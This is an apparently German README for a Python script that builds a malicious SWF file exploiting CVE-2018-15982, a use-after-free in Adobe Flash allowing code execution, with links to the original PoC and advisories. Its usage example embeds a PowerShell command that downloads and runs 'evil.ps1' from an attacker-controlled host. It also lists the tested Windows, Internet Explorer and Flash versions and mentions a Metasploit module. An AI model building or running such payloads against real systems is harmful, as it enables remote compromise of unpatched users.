Adobe Flash CVE-2018-15982

Dieses Skript erstellt ein SWF-Payload für CVE-2018-15982, das auf dem PoC von https://github.com/smgorelik/Windows-RCE-exploits basiert. Die Sicherheitslücke wurde von Chenming Xu und Ed Miles von Gigamon ATR entdeckt.

Bei der Sicherheitslücke handelt es sich um einen Use-After-Free-Fehler, der die Ausführung von beliebigem Code in Flash ermöglicht. Weitere Informationen finden Sie in den folgenden Links.

• https://threatpost.com/adobe-patches-zero-day-vulnerability-in-flash-player/139629/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-15982

Hinweis: Derzeit wird nur ein Block gesprayt. Dies ist mir aufgefallen, nachdem ich das Skript erstellt hatte.

Usage:

python create_swf.py <command> <output file name>

Example Usage:

python create_swf.py "powershell.exe IEX (iwr 'http://192.168.56.101/evil.ps1')" downloadtest.swf

Getestet auf:

• Windows 10 Enterprise 10.0.17134, Internet Explorer 11.285.17134.0
• Adobe Flash 31.0.0.153, 29.0.0.140

Beispiel

Create payload:

Executing payload:

Confirm execution:

Metasploit-Modul